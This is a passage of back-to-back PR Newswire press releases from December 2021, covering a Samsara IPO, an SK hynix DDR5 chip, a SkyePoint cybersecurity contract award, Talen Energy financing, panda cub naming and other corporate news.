operates out of 27 countries around the globe, with a presence in every key insurance market. The North America division, headquartered in New York, conducts business primarily through its insurance company subsidiaries. The actual terms and conditions of any insurance coverage are subject to the language of the policies as issued. QBE insurance companies are rated "A" (Excellent) by A.M. Best and "A+" by Standard & Poor's. Additional information can be found at qbe.com/us, or follow QBE North America on Twitter @QBENorthAmerica. SOURCE QBE North America The recreational vehicle battery market is expected to grow by USD 203.02 mn from 2020 to 2025. Technavio's latest market forecast report estimates that the market will progress at a CAGR of 16.24% during the forecast period. This report offers a thorough analysis of the current market scenario, the latest trends and drivers, as well as the overall market environment. The recreational vehicle battery market is fragmented, and the degree of fragmentation will accelerate during the forecast period. To leverage the current opportunities, market vendors must strengthen their foothold in the fast-growing segments while maintaining their positions in the slow-growing segments. Factors such as growth in global tourism, increase in the spending capacity of people, and favorable tax deductions will offer immense growth opportunities. However, the use of fuel cells to replace batteries in recreational vehicles may challenge the market growth. The report also covers the following areas: Recreational Vehicle Battery Market 2021-2025: Segmentation Geography North America Europe APAC South America MEA Battery type FLA batteries VRLA batteries To learn more about the various segments of the recreational vehicle battery market, Download a Free Sample Recreational Vehicle Battery Market 2021-2025: Vendor Analysis and Scope To help businesses improve their market position, the recreational vehicle battery market provides a detailed analysis of around 25 vendors operating in the market. Some of these vendors include Brookfield Business Partners L.P., C and D Technologies Inc., Crown Battery Manufacturing Co., East Penn Manufacturing Co. Inc., EnerSys, Exide Technologies, Leoch International Technology Ltd., Lifeline Batteries Inc., Shield Batteries Ltd., and U.S. Battery Manufacturing Co. Get lifetime access to our Technavio Insights. Subscribe now to our most popular "Lite Plan" billed annually at USD 3000. View 3 reports monthly and Download 3 Reports Annually! Recreational Vehicle Battery Market 2021-2025: Key Highlights CAGR of the market during the forecast period 2021-2025 Detailed information on factors that will assist recreational vehicle battery market growth during the next five years Estimation of the recreational vehicle battery market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the recreational vehicle battery market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of recreational vehicle battery market vendors Related Reports: Solar PV Backsheet Market: The solar PV backsheet market share is expected to increase by USD 1.45 billion from 2020 to 2025, and the market's growth momentum will accelerate at a CAGR of 11.07%. Download Free Sample Report The solar PV backsheet market share is expected to increase by from 2020 to 2025, and the market's growth momentum will accelerate at a CAGR of 11.07%. Renewable Energy Market: The renewable energy market share should rise by 98.40 GW from 2021 to 2026 at a CAGR of 8.46%. Download Free Sample Report Recreational Vehicle Battery Market Scope Report Coverage Details Page number 120 Base year 2020 Forecast period 2021-2025 Growth momentum & CAGR Accelerate at a CAGR of 16.24% Market growth 2021-2025 USD 203.02 million Market structure Fragmented YoY growth (%) 11.59 Regional analysis North America, Europe, APAC, South America, and MEA Performing market contribution North America at 63% Key consumer countries US, Germany, China, UK, and Canada Competitive landscape Leading companies, competitive strategies, consumer engagement scope Companies profiled Brookfield Business Partners L.P., C and D Technologies Inc., Crown Battery Manufacturing Co., East Penn Manufacturing Co. Inc., EnerSys, Exide Technologies, Leoch International Technology Ltd., Lifeline Batteries Inc., Shield Batteries Ltd., and U.S. Battery Manufacturing Co. Market Dynamics Parent market analysis, market growth inducers and obstacles, fast-growing and slow-growing segment analysis, COVID-19 impact and future consumer dynamics, market condition analysis for the forecast period Customization purview If our report has not included the data that you are looking for, you can reach out to our analysts and get segments customized. Download Latest Free Sample Report for more valuable insights into the recreational vehicle battery market About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provide actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. Contact Technavio Research Jesse Maida Media & Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: [email protected] Website: www.technavio.com/ SOURCE Technavio SAN FRANCISCO, Dec. 15, 2021 /PRNewswire/ -- Samsara Inc., the pioneer of the Connected Operations Cloud, announced today the pricing of its initial public offering of 35,000,000 shares of Class A common stock at a price to the public of $23.00 per share. The shares are expected to begin trading on the New York Stock Exchange under the ticker symbol "IOT" on December 15, 2021, and the offering is expected to close on December 17, 2021, subject to customary closing conditions. In addition, Samsara has granted the underwriters a 30-day option to purchase up to 5,250,000 additional shares of Class A common stock at the initial public offering price less underwriting discounts and commissions. Morgan Stanley, Goldman Sachs & Co. LLC, J.P. Morgan, and Allen & Company LLC are acting as lead book-running managers for the offering. RBC Capital Markets, Wells Fargo Securities, Evercore ISI, and William Blair are acting as book-running managers for the offering. Cowen, Wolfe | Nomura Alliance, Academy Securities, Loop Capital Markets, R. Seelaus & Co., LLC, Ramirez & Co., Inc., and Siebert Williams Shank are acting as co-managers for the offering. The offering is being made only by means of a prospectus. Copies of the prospectus related to the offering may be obtained from: Morgan Stanley & Co. LLC, Attention: Prospectus Department, 180 Varick Street, 2nd Floor, New York, NY 10014; Goldman Sachs & Co. LLC, Attention: Prospectus Department, 200 West Street, New York, NY 10282, by telephone at (866) 471-2526 or by email at [email protected]; J.P. Morgan Securities LLC, c/o Broadridge Financial Solutions, 1155 Long Island Avenue, Edgewood, NY 11717, by telephone at (866) 803-9204, or by email at [email protected]; or Allen & Company LLC, Attention: Prospectus Department, 711 Fifth Avenue, New York, NY 10022, by telephone at (212) 339-2220 or by email at [email protected]. A registration statement relating to the sale of these securities has been filed with, and declared effective by, the Securities and Exchange Commission. This press release shall not constitute an offer to sell or the solicitation of an offer to buy these securities, nor shall there be any sale of these securities in any state or jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of any such state or jurisdiction. Contacts Investor Contact: Mike Chang [email protected] Press Contact: Lindsay McKinley [email protected] SOURCE Samsara TORONTO, Dec. 15, 2021 /PRNewswire/ -- Satellos Bioscience Inc. (TSXV: MSCL) ("Satellos" or the "Company"), a regenerative medicine company aimed at developing therapeutics that change the way degenerative muscle diseases are treated, today announced that Frank Gleeson, Founder and CEO, will present live at VirtualInvestorConferences.com on December 16th. DATE: Thursday, December 16th TIME: 3:30pm LINK: https://bit.ly/3cIf2X6 This will be a live, interactive online event where investors are invited to ask the company questions in real-time. If attendees are not able to join the event live on the day of the conference, an archived webcast will also be made available after the event. It is recommended that investors pre-register and run the online system check to expedite participation and receive event updates. Learn more about the event at www.virtualinvestorconferences.com. About Satellos Satellos is a biotechnology company dedicated to developing lifechanging medicines that have the potential to correct a previously unrecognized root cause of degenerative muscle disorders which our scientists have identified. Satellos was established in 2018 to translate the ground-breaking discoveries of its scientific founder, Dr. Michael Rudnicki, a thought leader who discovered and has shown how muscle stem cells regulate muscle repair and growth throughout life. Satellos' lead program is focused on developing an oral therapeutic drug (i.e., a pill) to treat Duchenne muscular dystrophy where we have shown that the body's muscle stem cells don't produce enough muscle cell progenitors to keep up with the continuous damage caused by the disorder. Our drug development work offers hope for people living with Duchenne that a drug may have the potential to reset the body's innate ability to repair and grow muscle. To expand our programs, Satellos has created a proprietary discovery platform, MyoReGenXTM, to identify other muscle disorders where deficits in muscle stem cell regeneration can be addressed with drug treatment. For more information about Satellos' regenerative therapeutic discovery platform, development collaborations and licensing, or collaborations with Amp B Tech, please contact Ryan Mitchell, PhD, Director Business Development at [email protected] or visit Satellos.com. About Life Sciences Investor Forum Life Sciences Investor Forum is the leading proprietary investor conference series that provides an interactive forum for Life Sciences companies to meet with and present directly to investors. A real-time solution for investor engagement, Life Sciences Investor Forum is part of the OTC Market Group's suite of investor relations services specifically designed for more efficient investor access. Replicating the look and feel of on-site investor conferences, Life Sciences Investor Forum combines leading-edge conferencing and investor communications capabilities with a comprehensive global investor audience network. SOURCE VirtualInvestorConferences.com MILWAUKEE, Dec. 15, 2021 /PRNewswire/ -- Ademi LLP is investigating Terminix (NYSE: TMX), for possible breaches of fiduciary duty and other violations of law in its transaction Rentokil. Click here to learn how to join the action: https://www.ademilaw.com/case/terminix-global-holdings-inc or call Guri Ademi toll-free at 866-264-3995. There is no cost or obligation to you. Ademi LLP alleges Terminix's financial outlook and prospects are excellent and yet Terminix shareholders will receive only the equivalent of $55 per share comprising approximately 80% Rentokil stock and 20% cash. The merger agreement unreasonably limits competing bids for Terminix by prohibiting solicitation of further bids, and imposing a significant penalty if Terminix accepts a superior bid. Terminix insiders will receive substantial benefits as part of change of control arrangements. We are investigating the conduct of Terminix's board of directors, and whether they are (i) fulfilling their fiduciary duties to all shareholders, and (ii) obtaining a fair and reasonable price for Terminix. If you own Terminix common stock and wish to obtain additional information, please contact Guri Ademi either at [email protected] or toll-free: 866-264-3995, or https://www.ademilaw.com/case/terminix-global-holdings-inc. We specialize in shareholder litigation involving buyouts, mergers, and individual shareholder rights throughout the country. For more information, please feel free to call us. Attorney advertising. Prior results do not guarantee similar outcomes. Contacts Ademi LLP Guri Ademi Toll Free: (866) 264-3995 Fax: (414) 482-8001 SOURCE Ademi LLP The Chinese Olympic diving champion Zhang Jiaqi and famous French football player Mbappe have jointly announced the names of two giant panda cubs at the ceremony to the public. Zhang Jiaqi said: "Another giant panda or rather one of the mascots of Beijing Winter Olympics, Bing Dwen Dwen, will once again draw attention from the rest of the world on my hometown, Beijing, in more than two months. I also eagerly anticipate to meet with international athletes at the Paris Olympic Games in 2024!" Mbappe has also expressed that he felt "proud" and "honored" to attend the naming ceremony of giant panda twins at the event. Attending such an important event with a Chinese Olympic Champion is "an unforgettable moment". Born in 2008, the giant pandas "Huanhuan" and "Yuanzai" took a special flight to ZooParc de Beauval in France in January 2012 and have started since then their 10-year life overseas. The giant panda "Huanhuan" has successfully given birth to a male giant panda called "Yuanmeng" on August 4th, 2017, which is also the first giant panda born in France. French President Macron and his wife have especially visited the zoo to see this giant panda family of three. "Huanhuan" has also successfully given birth to a pair of giant panda twins on August 2nd, 2021, bringing great expectations to the Chinese and French people. The Chengdu Research Base of Giant Panda Breeding in Sichuan has successively performed research cooperation and exchanges on giant pandas with 17 countries and regions respectively since 1994. Currently, it is developing long-term international projects and carrying out cooperative researches on giant pandas breeding with Japan, the US, Spain, France, Germany and Denmark. The base has overcome many difficulties in terms of technology, culture, communication and management during years of international cooperation, and has made outstanding achievements, which have been widely acknowledged and praised by the international community. The base has established the largest ex-situ breeding population of giant pandas in the world with 223 existing pandas. The Chengdu Research Base of Giant Panda Breeding in Sichuan and foreign countries have cooperated on researches regarding the international breeding of giant pandas by October 2021 with a total of 25 births and 37 alive cubs, demonstrating a survival rate of 97.37%. Photo: https://mma.prnewswire.com/media/1710377/Pandas_Named.jpg Logo: https://mma.prnewswire.com/media/1693931/Sichuan_Daily_Logo.jpg Contact: Zhang Peng, 008628-86968621, [email protected] SOURCE Sichuan Daily GAITHERSBURG, Md. and SUZHOU BIOBAY, China, Dec. 14, 2021 /PRNewswire/ -- Sirnaomics, Inc., a biopharmaceutical company engaged in discovery and development of RNAi therapeutics against cancer and fibrotic diseases, today announced that the company has promoted Steven Long, PhD, to Chief Development Officer, and Edward Y. Wang, PhD, to Chief Production Officer, to lead the company's campaigns for novel siRNA drug candidate development and large scale manufacturing. These promotions will greatly enhance the company's capability for providing a pipeline of siRNA drug candidates for clinical evaluation and building a foundation to facilitate future commercialization. Prior to his promotion to Chief Development Officer, Dr. Long served as Vice President of CMC and Head of China Clinical Operations at Sirnaomics since 2018. He has more than 30 years of biopharmaceutical industry experience, including eight years as the vice president of preclinical research and manufacturing at AnGes, Inc., a public gene therapy company; eight years as a unit head and director of core technology, clinical biosafety and quality control in the Novartis Genetic Therapy Center of Excellence; and five years as a senior scientist, PCR lab head and director and bioanalysis in Quality Biotech, Inc., which was later acquired by WuxiApptec. Dr. Long received his bachelor's degree of science in genetics and biology at Fudan University and his doctoral degree in molecular genetics at the University of Leeds, UK. He also conducted postdoctoral research in molecular biology and biochemistry at Roche Pharmaceuticals Corporation and the University of Pennsylvania. Dr. Long specializes in nucleic acid drug development, with deep experience in the preclinical safety, manufacturing and quality control of this unique type of pharmaceutical products. Prior to his promotion to Chief Production Officer, Dr. Wang served as Vice President of Regulatory Compliance and China Chief Technology Officer at Sirnaomics since 2020. He has more than 25 years of experience in the biopharmaceutical industry and at NGOs, including serving as the vice president of technical operations at Wuxi Biological Base of WuXi AppTec Co., Ltd.; the director of vaccine production at Newlink Genetics Inc.; the deputy director of engineering at a non-profit organization affiliated with the Bill & Melinda Gates Foundation; the technology consultant of Parexel International at Ben Venue Laboratory of Boehringer Ingelheim; and the senior scientist and manager in the Biopharmaceutical development program at the U.S. National Cancer Institute. Dr. Wang received his bachelor's degree of biophysics at the University of Science and Technology of China, a master's degree of biochemistry at the Tokyo Institute of Technology in Japan, and a doctoral degree at the Helsinki University of Technology in Finland. Dr. Wang is an internationally recognized expert in large-to -commercial scale manufacturing of biopharmaceutical and vaccine products, with specialization in aseptic process and GMP compliance. "We are excited to strengthen our senior management team with the promotions of Steven and Edward," said Dr. Patrick Lu, founder and CEO of Sirnaomics. "The experience and expertise they both bring are critical as we accelerate our transition from an early R&D stage organization toward to a fully integrated biopharma company." Sirnaomics focuses on the discovery and development of innovative drugs for indications with unmet medical needs and large market opportunities. Sirnaomics' core product candidate, STP705, has achieved positive Phase IIa clinical outcomes in oncology. STP705 is currently in a Phase IIb clinical trial for squamous cell carcinoma in situ (isSCC), a Phase II clinical trial for treatment of skin basal cell carcinoma (BCC), a Phase II treatment of keloid, a Phase I/II clinical trial for treatment of hypertrophic scar (HTS), and a Phase I clinical trial for treatment of hepatocellular carcinoma (HCC) through a local injection. Sirnaomics has also received a greenlight from the U.S. Food and Drug Administration for a systemic formulation of its product candidate STP707 to treat multiple solid tumors. In addition to the company's proprietary polypeptide nanoparticle delivery platform, Sirnaomics has advanced two GalNAc-based delivery platforms for liver-targeting RNAi therapeutics using systemic administration and adapted a polypeptide lipid nanoparticle delivery platform useful for administration of mRNA vaccines and therapeutics. About Sirnaomics, Inc. Sirnaomics, Inc., a leading biopharmaceutical company for discovery and development of RNAi therapeutics, is a Delaware corporation headquartered in Gaithersburg, Maryland, with subsidiaries in Suzhou and Guangzhou, China. The Company's mission is to develop novel therapeutics to alleviate human suffering and advance patient care in areas of high unmet medical need. The guiding principles of the company are: Innovation, Global Vision with a Patient Centered focus. Members of the senior management team have a combined experience in the biopharmaceutical industry, spanning clinical development, regulatory, financial and business management in both the U.S. and China. The company is supported by funding from institutional investors and corporate partnerships. Sirnaomics has developed a strong portfolio of intellectual property with an enriched product pipeline. The therapeutic areas of focus include oncology, anti-fibrotic, anti-viral and metabolic therapeutics. Learn more at www.sirnaomics.com. Contacts: Sirnaomics: George Ji, MBA Chief Operation Officer Email: [email protected] Investors: Stephanie Carrington Tel: +1 646 277 1282 Email: [email protected] Media: Mark Corbae Tel: +1 203 682 8288 Email: [email protected] SOURCE Sirnaomics, Inc. ** Currently, DDR DRAM offerings mostly come in density of 8Gb or 16Gb, with the highest density of 16Gb The announcement of SK hynix releasing the industry's largest density DDR5 chip comes in just 14 months after the Company became the first to release DDR5 DRAM in October 2020, further solidifying the chipmaker's technological leadership in DDR5. The new 24Gb DDR5 was produced with the cutting-edge 1anm technology that utilizes EUV process. It has a density of 24Gb per chip, which is up from the existing density of 16Gb in 1ynm DDR5, with improved production efficiency and increased speed by up to 33%. In addition, SK hynix managed to reduce the product's power consumption by *25% compared to existing products while lowering energy use in manufacturing through enhanced production efficiency. SK hynix expects the product to bring about reduction in carbon emissions as well, which is meaningful in the context of ESG management. *Based on system power consumption to support the same module capacity The initial offerings on this product are set to be 48 Gigabyte (GB) and 96GB modules for supply to cloud data centers. It is also expected to power high-performance servers for big data processing such as artificial intelligence (AI) and machine learning, as well as realizing Metaverse applications among others. Kevin (Jongwon) Noh, President and Chief Marketing Officer at SK hynix, said, "In line with the release of 24Gb DDR5, SK hynix is closely engaging with a number of customers that provides cloud services. We will continue to strengthen our leadership in growing DDR5 market by introducing advanced technologies and developing products with ESG-awareness." "Intel and SK Hynix have a long history of strong collaboration," said Carolyn Duran, Vice President of Memory and IO Technologies in Intel's Data Center and AI Group. "Today's announcement is another illustration of our two companies working together to deliver a 24Gb solution to address needs of our mutual customers. The 24Gb DDR5 offering provides high mono die capacity and will help customers boost performance of memory capacity bound workloads such as data analytics while bringing significant TCO benefits." About SK hynix Inc. SK hynix Inc., headquartered in Korea, is the world's top tier semiconductor supplier offering Dynamic Random Access Memory chips ("DRAM"), Flash memory chips ("NAND Flash") and CMOS Image Sensors ("CIS") for a wide range of distinguished customers globally. The Company's shares are traded on the Korea Exchange, and the Global Depository shares are listed on the Luxemburg Stock Exchange. Further information about SK hynix is available at www.skhynix.com, news.skhynix.com. SOURCE SK hynix Inc. DULLES, Va., Dec. 15, 2021 /PRNewswire/ -- SkyePoint Decisions, Inc. (SkyePoint) is thrilled to announce the receipt of a Task Order award from the Department of Education (DoED), Office of Federal Student Aid (FSA) to perform Cybersecurity Risk Management and Compliance. SkyePoint was largely selected due to our ability to enhance and automate the Authority-to-Operate (ATO) and Risk Management Framework (RMF) processes for FSA. The Office of Federal Student Aid solicited the task order through their Cybersecurity and Privacy Support Systems (CPSS) contract, a GSA HACS SIN Blanket Purchase Agreement (BPA). The value of the task order award is $52M over a 5-year period of performance which started on December 6, 2021. SkyePoint will provide assessment, collection, analysis, and review support in evaluating the cybersecurity risk for major enterprise information systems, working in collaboration with FSA's Enterprise Cybersecurity Group (ESG). This includes engineering and analysis for System Security Authorization (SA) Independent Assessments, System Security Authorization (SSA) Support, Annual Control Tests, Executing the Ongoing Security Authorization (OSA) Program, Developing Plan of Action and Milestones (POA&Ms), Independent Verification and Validation, Audit Support, and Documentation and Policy Support. "This is a groundbreaking moment for SkyePoint as this is our largest competitive prime contract win in the history of the company, and our first supporting the Department of Education. We are honored to support the Office of Federal Student Aid in securing the applications and data supporting the more than 13 million students that use Federal financial aid all over the country," said Frank Sturek, President of SkyePoint. "Our whole team is excited about this new opportunity, and we look forward to bringing our expert cybersecurity and privacy services professionals to support the U.S. Department of Education and FSA mission." SkyePoint provides innovative enterprise-wide and targeted solutions for the complex challenges faced by our federal government clients. Our focus is on enabling our client's ability to deliver their mission anytime, anywhere, securely as a prime contractor committed to delivery excellence. We combine technical expertise, mission awareness, and an empowered workforce to produce meaningful results. SkyePoint is an established ISO 9001:2015, ISO/IEC 27001:2013, and CMMI for Services Level 3 business with operations across the U.S. For more information, visit the SkyePoint website at www.skyepoint.com . Contact: Kelsey Dott 703-498-8134 [email protected] SOURCE SkyePoint Decisions CHARLOTTE, N.C., Dec. 15, 2021 /PRNewswire/ -- SPX FLOW, Inc. (NYSE: FLOW), a leading provider of process solutions for the nutrition, health and industrial markets, is celebrating the 75th anniversary of its Assen manufacturing facility in the Netherlands. Assen's team of 85 employees make critical components for processing plants worldwide, producing both standard and customized pumps. The team has also spearheaded initiatives to improve safety, increase productivity, shorten lead times and drive customer satisfaction. "We're especially proud of this team, not just for the past 75 years, but for the way Assen continues to improve every day," said Ben de Haas, Assen's director of operations. Assen primarily produces different types of centrifugal pumps, including multistage, self-priming, mag drive and submersible pumps. These pumps serve many industrial engineering sectors, as well as the global horticulture, shipbuilding, water treatment and automotive markets. The Assen team has also been increasingly involved in providing pumps to one of the fastest growing renewable power segments, offshore wind. The wind farms are located in bodies of water, where wind speeds are higher. The pumps help convert the energy for use onshore through a transmission system called high-voltage direct current (HVDC). The Assen facility is part of SPX FLOW's leading Pump Solutions portfolio, which includes Johnson Pump and Bran+Luebbe brands. From hundreds to thousands Originally part of the Stork Standard Pump company, the Assen factory was first located in an old grain warehouse. In its first year, it produced only several hundred pumps. Within about a decade, though, that number soared to tens of thousands. Assen expanded in the 1970s, opening several locations. That included one in Rotterdam that focused on shipbuilding, and one to the south for chemicals. In 1997, Johnson Pump acquired the Assen team, and in 2006, Assen joined SPX FLOW when Johnson Pump was acquired. "From design to delivery, our goal is to continuously improve to ensure we put customers first," de Haas said. "This milestone is a tribute to top-notch quality for our business partners and our customers." To learn more about Assen, please watch this short video or visit www.spxflow.com . About SPX FLOW, Inc. Based in Charlotte, N.C., SPX FLOW, Inc. (NYSE: FLOW) improves the world through innovative and sustainable solutions. The company's product offering is concentrated in process technologies that perform mixing, blending, fluid handling, separation, thermal heat transfer and other activities that are integral to processes performed across a wide variety of nutrition, health and industrial markets. SPX FLOW had approximately $1.4 billion in 2020 annual revenues and has operations in more than 30 countries and sales in more than 140 countries. To learn more about SPX FLOW, please visit www.spxflow.com. Media Contact: Peter Smolowitz External Communications Manager [email protected] 704-390-6918 SOURCE SPX FLOW, Inc. Related Links http://www.spxflow.com HOUSTON, Dec. 15, 2021 /PRNewswire/ -- A FINRA arbitration panel in Texas has awarded a client of Shepherd, Smith, Edwards & Kantas (SSEK Law Firm at investorlawyers.com) $4 million in compensatory damages over losses she sustained while working with ex-J.P. Morgan Securities stockbroker, Edward Turley. Not only did this ex-San Francisco-based financial advisor unsuitably invest her in products that were too risky, but he and the firm also used a complex strategy that involved borrowing on margin without her knowledge, trading of high-risk equities and junk bonds, as well as the use of significant leverage in foreign currencies to make the trades. The claimant entrusted J.P. Morgan to take care of funds that were supposed to provide for her family. Instead, the brokerage firm and Turley placed her money in a very risky, speculative investment strategy that imploded in March 2020. Tragically, the client lost millions of dollars while Ed Turley and J.P. Morgan profited significantly from her account. J.P. Morgan has since fired Turley in the wake of numerous broker misconduct allegations and FINRA investigations. J.P. Morgan continues to be named in other securities claims by Turley's former customers who are collectively requesting more than $55 million in damages. Shepherd Smith Edwards and Kantas and co-counsel Sonn Law Group represented this investor in her 7-figure FINRA arbitration case that resulted in a $4 million award. We are also continuing to work with and investigate other claims of losses by investors who had Turley as their J.P. Morgan registered representative. This investor contends that at no time did Edward Turley discuss her financial goals or her investing experience. Other investments that the broker and broker-dealer purchased for this claimant included Master Limited Partnerships ("MLPs"), the AMLP exchange-traded fund ("ETF"), preferred stock, and Granite Point Mortgage Trust. With nearly three decades in the industry, Turley was at one point managing over $1.6 billion in client assets. Turley was a top-earning J.P. Morgan Securities broker and executive vice president. Yet, Turley and J.P. Morgan made over $80 million in securities transactions without this customer's permission. This was absolutely a violation of securities laws and broker misconduct. Call our experienced FINRA arbitration lawyers at SSEK Law Firm today so that we can help you explore your legal options. Free Consultations. Toll Free: (800) 259-9010 713-227-2400 [email protected] SOURCE Shepherd Smith Edwards & Kantas LLP THE WOODLANDS, Texas, Dec. 15, 2021 /PRNewswire/ -- Talen Energy Corporation ("TEC" or "Talen") today announced that its wholly-owned subsidiary Talen Energy Supply LLC ("TES") has upsized and closed on the previously announced first-lien revolving credit facility commitment led by GoldenTree Asset Management LP and Silver Point Finance, LLC in the aggregate amount of $848 million. Concurrent with the closing, TES has expanded the facility to additional capital partners including Apollo Capital Management LP, Diameter Capital Partners LP, and Owl Creek Asset Management, LP, through their respective managed funds. Additionally, TES obtained the requisite approvals and waivers from its bank group led by Citi as administrative agent under its existing revolving credit facility to enter into this financing. This facility, which matures in September 2024, will primarily be used to fund elevated commodity working capital requirements during the winter period, repay $238 million of borrowings outstanding under TES' revolving credit facility, fund up to $200 million for working capital and other general corporate purposes and to pay transaction fees and expenses related to the new financing facility. "This financing will help unlock the value of our TES assets in this strong winter commodity environment while enabling Talen to continue executing our energy transition strategy," said TEC Chief Executive Officer Alex Hernandez. "We are grateful for the capital, support and confidence of GoldenTree, Silver Point, Apollo, Diameter, Owl Creek, and our bank group to execute and approve this facility. We also look forward to engaging with our other stakeholders as we work to execute our transformation, maximize enterprise value and drive the long-term success of the Talen platform and our people." "We are pleased to partner with Alex and his team to lead this important financing and advance the company's strategic objectives," said Paul Ardire, Principal at GoldenTree Asset Management. "Our firm's philosophy is to partner with experienced, differentiated management teams, which we have done with Talen over the last several years. We believe there is significant value in TES's asset base in this strong commodity environment, and longer-term as Talen executes its energy transition strategy to renewables and digital infrastructure." "Silver Point is pleased to work with Talen to provide a bespoke financing solution that addresses the company's near-term liquidity needs in the context of what we believe is a very strong fundamental operating environment," said Edward Mule, Silver Point's CEO and Portfolio Manager. "Silver Point has significant experience and a longstanding history of partnering with companies and management teams that we believe in, with the goal of advancing their business objectives. We are particularly excited by the underlying value of Talen's generation portfolio and look forward to continuing to support the company as it plays a key role in the ongoing U.S. carbon-free energy transition." TES has retained White & Case LLP and Weil, Gotshal & Manges LLP as its legal advisors, and Evercore as its investment banker for this financing. Qualified investors and securities analysts can access additional information on the terms and conditions of this financing within the Supplemental Q3 2021 Investor Update, which is now available on the Investor Information section of Talen's website at: https://talenenergy.investorroom.com/investor-information. Q3 2021 financials will be posted on this site on Thursday December 16th. About GoldenTree Asset Management GoldenTree Asset Management is an employee owned, global asset management firm that specializes in opportunities across the credit universe in sectors such as high yield bonds, leveraged loans, distressed debt, structured products, credit-themed equities and emerging markets. GoldenTree was founded in 2000 and is one of the largest independent asset managers focused on credit. GoldenTree manages over $46 billion for institutional investors including leading public and corporate pensions, endowments, foundations, insurance companies and sovereign wealth funds. For more information, please visit www.goldentree.com Investor Contact Kathy Sutherland GoldenTree Asset Management 212-847-3455 [email protected] Media Contact Steve Bruce and Mary Beth Grover ASC Advisors 203-992-1230 [email protected] [email protected] About Silver Point Finance Silver Point Finance, LLC, a subsidiary of global credit investor Silver Point Capital, L.P., is the Firm's dedicated customized financing solutions business. Founded in 2002, Silver Point was designed and built to have the deep resources, expertise and capital needed to invest in the global credit markets throughout credit cycles. Since inception in 2002, Silver Point has provided more than $14bn of capital solutions to over 300 companies. Today, the Firm manages approximately $19bn in investable assets across its credit strategies for institutional investors globally, including pensions, sovereign wealth funds, endowments, foundations, insurance companies, and family offices. Additional information is available at www.silverpointfinance.com. Media Contact Todd Fogarty Kekst CNC 212-521-4854 [email protected] About Talen Energy Corporation Talen, through its subsidiary, TES, is one of the largest competitive power generation and infrastructure companies in North America. TES owns and/or controls approximately 13,000 megawatts of generating capacity in wholesale U.S. power markets, principally in the Mid-Atlantic, Texas and Montana. Through its subsidiary, Cumulus Growth, Talen is developing a large-scale portfolio of renewable energy, battery storage, and digital infrastructure assets across its expansive footprint. For more information, visit https://www.talenenergy.com/esg-focused-future/ Investor Contact Olivia Sigo Senior Director, Corporate Finance, Investor Relations & ESG 281-203-5387 [email protected] Media Contact Taryne Williams Director Corporate Communications 610-601-0327 [email protected] Cautionary Statement Regarding Forward-Looking Information This press release includes "forward-looking statements." All statements, other than statements of historical fact, included in this press release that address activities, events or developments that TES expects, believes or anticipates will or may occur in the future, as well as aspirational goals, are forward-looking statements. These statements are based on certain assumptions made by TES based on its experience and perception of historical trends, current conditions, expected future developments and other factors it believes are appropriate. You are cautioned not to place undue reliance on these forward-looking statements, which speak only as of the date of this press release. All forward-looking statements are qualified in their entirety by this cautionary statement. TES undertakes no obligation and does not intend to update these forward-looking statements to reflect events or circumstances occurring after the issuance of this press release, except as required by law. SOURCE Talen Energy Corp. The CIIE continues its consolidation as one of the most important events on educational innovation in the Spanish-speaking world, being a space where keynote lectures, panels and discussions focused on reflecting and sharing knowledge and experiences about the challenges facing education in a changing world where innovation will be key to achieve education that is more accessible, equitable, ethical and committed to human flourishing. The keynotes will revolve around several main topics: Educational Trends, Technologies for Education, Educational Innovation Management, Lifelong Learning, Academic Innovation for Health and EdTech Entrepreneurship. The 2021 edition of the Conference will feature more than 250 presentations with the participation of specialists, ministers of education and university presidents. There will also be networking, book presentations, special events and a Virtual Expo attended by renowned companies in the education sector. Some of the outstanding speakers include: on behalf of the hosts, David Garza, President Tecnologico de Monterrey; Juan Pablo Murra, Rector for Higher Education of Tecnologico de Monterrey; Jose Escamilla, Associate Director of the Institute of Higher Education, and Beatriz Palacios, Director of Educational Innovation and Digital Learning. Also in attendance will be the Undersecretary of Education of the Mexican government, Luciano Concheiro, the Minister of National Education of Colombia, Maria Victoria Angulo, as well as Raquel Bernal, President of the Universidad de los Andes, and Ignacio Sanchez Diaz, President of the Pontificia Universidad Catolica de Chile, among other leaders of universities recognized for their innovative systems. In addition, keynote speakers will include Jeff Selingo, New York Times bestselling author focused on education research; Eva Fernandez, from FEMSA Foundation, who will address the topic of social investment in early childhood; George Siemens, scholar of how human and artificial cognition intersect in knowledge processes; and Masha Ibeschitz, bestselling author and founder of Think Beyond Group. Today more than ever it is time to reflect on the great challenges that the world presents in education, such as the digital gap, the digitization of content, new teaching-learning strategies and methodologies and the role of teaching in their implementation. The 8th International Conference on Educational Innovation by the Tec de Monterrey will be the fertile ground for dialogue, collaboration, experimentation and entrepreneurship to build together the future of education. About Tecnologico de Monterrey Tecnologico de Monterrey (http://www.tec.mx) is a private, non-profit, multi-campus university system. Since its founding in 1943, it has stood out for its academic excellence, educational innovation, entrepreneurship and internationalization, as well as for its links with industry and employers, and its great capacity for execution. It has campuses in 29 cities in Mexico; an enrollment of more than 67 thousand professional and graduate students, and almost 7 thousand professors; in addition to more than 26 thousand high school students and 2 thousand 500 high school teachers. The institution has been accredited by the Commission on Colleges of the Southern Association of Colleges and Schools (SACSCOC) since 1950. According to the QS World University Rankings (2022), it is in position 161, ranking 30th among private universities in the world; and in the QS Graduate Employability Rankings (2022) as number 1 in Latin America and 26th in the world. In the Times Higher Education Latin America University Rankings (2022), it is ranked 4th in Latin America; it is also the only university outside the U.S. in the Top Schools for Entrepreneurship Ranking (2022) of Princeton Review and Entrepreneur, ranking 6th in entrepreneurship programs at the undergraduate level. It belongs to several prestigious international networks such as the Association of Pacific Rim Universities (APRU), Universitas 21 (U21) and The Worldwide Universities Network (WUN), among others. SOURCE Tecnologico de Monterrey As a brand that appreciates value over veneer and top shelf friendships that age well with time, the limited-edition Avion drop will be a one-of-a-kind experience for art and tequila lovers. The specialized set will include premium items such as drinking 